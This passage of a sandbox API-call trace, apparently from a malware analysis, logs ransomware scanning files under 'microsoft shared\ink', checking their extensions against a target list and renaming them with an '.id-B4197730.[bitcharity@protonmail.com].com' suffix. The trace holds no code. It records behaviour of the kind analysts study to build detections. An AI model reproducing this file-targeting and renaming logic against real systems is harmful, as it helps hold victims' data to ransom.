shared\\ink\\hwrusalm.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0140.381] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0140.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0140.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0140.381] lstrlenW (lpString=".doc") returned 4 [0140.381] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0140.381] lstrlenW (lpString=".docx") returned 5 [0140.381] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0140.381] lstrlenW (lpString=".pdf") returned 4 [0140.381] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0140.381] lstrlenW (lpString=".xls") returned 4 [0140.381] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0140.381] lstrlenW (lpString=".xlsx") returned 5 [0140.381] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0140.381] lstrlenW (lpString=".ppt") returned 4 [0140.381] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0140.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0140.381] lstrlenW (lpString=".zip") returned 4 [0140.381] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0140.381] lstrlenW (lpString=".rar") returned 4 [0140.381] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0140.382] lstrlenW (lpString=".bz2") returned 4 [0140.382] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0140.382] lstrlenW (lpString=".7z") returned 3 [0140.382] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0140.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0140.382] lstrlenW (lpString=".dbf") returned 4 [0140.382] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0140.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0140.382] lstrlenW (lpString=".1cd") returned 4 [0140.382] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0140.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0140.382] lstrlenW (lpString=".jpg") returned 4 [0140.382] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0140.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0140.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0140.382] lstrlenW (lpString=".doc") returned 4 [0140.382] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0140.382] lstrlenW (lpString=".docx") returned 5 [0140.382] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0140.382] lstrlenW (lpString=".pdf") returned 4 [0140.382] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0140.382] lstrlenW (lpString=".xls") returned 4 [0140.382] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0140.382] lstrlenW (lpString=".xlsx") returned 5 [0140.382] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0140.382] lstrlenW (lpString=".ppt") returned 4 [0140.382] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0140.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0140.382] lstrlenW (lpString=".zip") returned 4 [0140.383] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0140.383] lstrlenW (lpString=".rar") returned 4 [0140.383] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0140.383] lstrlenW (lpString=".bz2") returned 4 [0140.383] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0140.383] lstrlenW (lpString=".7z") returned 3 [0140.383] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0140.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0140.383] lstrlenW (lpString=".dbf") returned 4 [0140.383] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0140.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0140.383] lstrlenW (lpString=".1cd") returned 4 [0140.383] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0140.383] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0140.383] lstrlenW (lpString=".jpg") returned 4 [0140.383] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0140.383] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0140.383] lstrlenW (lpString="ipsdeu.xml") returned 10 [0140.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0140.687] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=2616) returned 1 [0140.687] CloseHandle (hObject=0x10c8) returned 1 [0140.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0140.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0140.699] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0140.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0140.705] lstrlenW (lpString=".doc") returned 4 [0140.705] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0140.705] lstrlenW (lpString=".docx") returned 5 [0140.705] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0140.705] lstrlenW (lpString=".pdf") returned 4 [0140.706] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0140.706] lstrlenW (lpString=".xls") returned 4 [0140.706] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0140.706] lstrlenW (lpString=".xlsx") returned 5 [0140.706] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0140.706] lstrlenW (lpString=".ppt") returned 4 [0140.706] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0140.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0140.706] lstrlenW (lpString=".zip") returned 4 [0140.706] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0140.706] lstrlenW (lpString=".rar") returned 4 [0140.706] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0140.706] lstrlenW (lpString=".bz2") returned 4 [0140.706] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0140.706] lstrlenW (lpString=".7z") returned 3 [0140.706] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0140.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0140.706] lstrlenW (lpString=".dbf") returned 4 [0140.706] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0140.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0140.706] lstrlenW (lpString=".1cd") returned 4 [0140.706] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0140.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0140.706] lstrlenW (lpString=".jpg") returned 4 [0140.706] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0140.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0140.706] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0140.706] lstrlenW (lpString=".doc") returned 4 [0140.707] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0140.707] lstrlenW (lpString=".docx") returned 5 [0140.707] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0140.707] lstrlenW (lpString=".pdf") returned 4 [0140.707] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0140.707] lstrlenW (lpString=".xls") returned 4 [0140.707] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0140.707] lstrlenW (lpString=".xlsx") returned 5 [0140.707] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0140.707] lstrlenW (lpString=".ppt") returned 4 [0140.707] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0140.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0140.707] lstrlenW (lpString=".zip") returned 4 [0140.707] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0140.707] lstrlenW (lpString=".rar") returned 4 [0140.707] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0140.707] lstrlenW (lpString=".bz2") returned 4 [0140.707] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0140.707] lstrlenW (lpString=".7z") returned 3 [0140.707] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0140.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0140.707] lstrlenW (lpString=".dbf") returned 4 [0140.707] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0140.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0140.707] lstrlenW (lpString=".1cd") returned 4 [0140.707] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0140.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0140.707] lstrlenW (lpString=".jpg") returned 4 [0140.707] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0140.708] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0140.708] lstrlenW (lpString="ipsfin.xml") returned 10 [0140.708] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d4 [0140.787] GetFileSizeEx (in: hFile=0x10d4, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=2658) returned 1 [0140.788] CloseHandle (hObject=0x10d4) returned 1 [0140.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml")) returned 0x20 [0140.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0140.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0140.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0140.844] lstrlenW (lpString=".doc") returned 4 [0140.844] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0140.844] lstrlenW (lpString=".docx") returned 5 [0140.844] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0140.844] lstrlenW (lpString=".pdf") returned 4 [0140.845] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0140.845] lstrlenW (lpString=".xls") returned 4 [0140.845] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0140.845] lstrlenW (lpString=".xlsx") returned 5 [0140.845] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0140.845] lstrlenW (lpString=".ppt") returned 4 [0140.845] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0140.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0140.845] lstrlenW (lpString=".zip") returned 4 [0140.845] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0140.845] lstrlenW (lpString=".rar") returned 4 [0140.845] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0140.845] lstrlenW (lpString=".bz2") returned 4 [0140.845] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0140.845] lstrlenW (lpString=".7z") returned 3 [0140.845] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0140.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0140.845] lstrlenW (lpString=".dbf") returned 4 [0140.845] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0140.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0140.845] lstrlenW (lpString=".1cd") returned 4 [0140.845] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0140.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0140.845] lstrlenW (lpString=".jpg") returned 4 [0140.845] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0140.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0140.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0140.846] lstrlenW (lpString=".doc") returned 4 [0140.846] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0140.846] lstrlenW (lpString=".docx") returned 5 [0140.846] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0140.846] lstrlenW (lpString=".pdf") returned 4 [0140.846] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0140.846] lstrlenW (lpString=".xls") returned 4 [0140.846] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0140.846] lstrlenW (lpString=".xlsx") returned 5 [0140.846] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0140.846] lstrlenW (lpString=".ppt") returned 4 [0140.846] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0140.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0140.846] lstrlenW (lpString=".zip") returned 4 [0140.846] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0140.846] lstrlenW (lpString=".rar") returned 4 [0140.846] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0140.846] lstrlenW (lpString=".bz2") returned 4 [0140.846] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0140.846] lstrlenW (lpString=".7z") returned 3 [0140.846] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0140.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0140.846] lstrlenW (lpString=".dbf") returned 4 [0140.846] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0140.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0140.847] lstrlenW (lpString=".1cd") returned 4 [0140.847] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0140.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsfin.xml") returned 61 [0140.847] lstrlenW (lpString=".jpg") returned 4 [0140.847] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0140.847] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0140.847] lstrlenW (lpString="ipshe.xml") returned 9 [0140.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0140.957] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=2532) returned 1 [0140.958] CloseHandle (hObject=0x10c8) returned 1 [0140.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0140.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0141.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0141.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0141.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0141.181] lstrlenW (lpString=".doc") returned 4 [0141.181] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0141.181] lstrlenW (lpString=".docx") returned 5 [0141.181] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0141.181] lstrlenW (lpString=".pdf") returned 4 [0141.181] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0141.181] lstrlenW (lpString=".xls") returned 4 [0141.181] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0141.181] lstrlenW (lpString=".xlsx") returned 5 [0141.181] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0141.181] lstrlenW (lpString=".ppt") returned 4 [0141.181] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0141.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0141.181] lstrlenW (lpString=".zip") returned 4 [0141.181] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0141.181] lstrlenW (lpString=".rar") returned 4 [0141.181] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0141.181] lstrlenW (lpString=".bz2") returned 4 [0141.181] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0141.181] lstrlenW (lpString=".7z") returned 3 [0141.181] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0141.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0141.181] lstrlenW (lpString=".dbf") returned 4 [0141.181] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0141.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0141.181] lstrlenW (lpString=".1cd") returned 4 [0141.181] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0141.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0141.182] lstrlenW (lpString=".jpg") returned 4 [0141.182] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0141.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0141.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0141.182] lstrlenW (lpString=".doc") returned 4 [0141.182] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0141.182] lstrlenW (lpString=".docx") returned 5 [0141.182] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0141.182] lstrlenW (lpString=".pdf") returned 4 [0141.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0141.182] lstrlenW (lpString=".xls") returned 4 [0141.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0141.182] lstrlenW (lpString=".xlsx") returned 5 [0141.182] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0141.182] lstrlenW (lpString=".ppt") returned 4 [0141.182] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0141.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0141.182] lstrlenW (lpString=".zip") returned 4 [0141.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0141.182] lstrlenW (lpString=".rar") returned 4 [0141.182] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0141.182] lstrlenW (lpString=".bz2") returned 4 [0141.182] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0141.182] lstrlenW (lpString=".7z") returned 3 [0141.182] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0141.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0141.182] lstrlenW (lpString=".dbf") returned 4 [0141.182] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0141.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0141.183] lstrlenW (lpString=".1cd") returned 4 [0141.183] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0141.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0141.183] lstrlenW (lpString=".jpg") returned 4 [0141.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0141.183] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0141.183] lstrlenW (lpString="ipssrb.xml") returned 10 [0141.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0142.363] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x320ff14 | out: lpFileSize=0x320ff14*=2568) returned 1 [0142.363] CloseHandle (hObject=0x1038) returned 1 [0142.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20 [0142.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0142.363] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0142.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0142.363] lstrlenW (lpString=".doc") returned 4 [0142.363] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0142.363] lstrlenW (lpString=".docx") returned 5 [0142.363] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0142.363] lstrlenW (lpString=".pdf") returned 4 [0142.364] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0142.364] lstrlenW (lpString=".xls") returned 4 [0142.364] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0142.364] lstrlenW (lpString=".xlsx") returned 5 [0142.364] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0142.364] lstrlenW (lpString=".ppt") returned 4 [0142.364] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0142.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0142.364] lstrlenW (lpString=".zip") returned 4 [0142.364] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0142.364] lstrlenW (lpString=".rar") returned 4 [0142.364] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0142.364] lstrlenW (lpString=".bz2") returned 4 [0142.364] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0142.364] lstrlenW (lpString=".7z") returned 3 [0142.364] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0142.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0142.364] lstrlenW (lpString=".dbf") returned 4 [0142.364] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0142.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0142.364] lstrlenW (lpString=".1cd") returned 4 [0142.364] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0142.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0142.364] lstrlenW (lpString=".jpg") returned 4 [0142.364] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0142.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0142.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0142.364] lstrlenW (lpString=".doc") returned 4 [0142.364] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0142.364] lstrlenW (lpString=".docx") returned 5 [0142.364] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0142.364] lstrlenW (lpString=".pdf") returned 4 [0142.365] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0142.365] lstrlenW (lpString=".xls") returned 4 [0142.365] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0142.365] lstrlenW (lpString=".xlsx") returned 5 [0142.365] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0142.365] lstrlenW (lpString=".ppt") returned 4 [0142.365] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0142.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61 [0142.365] lstrlenW 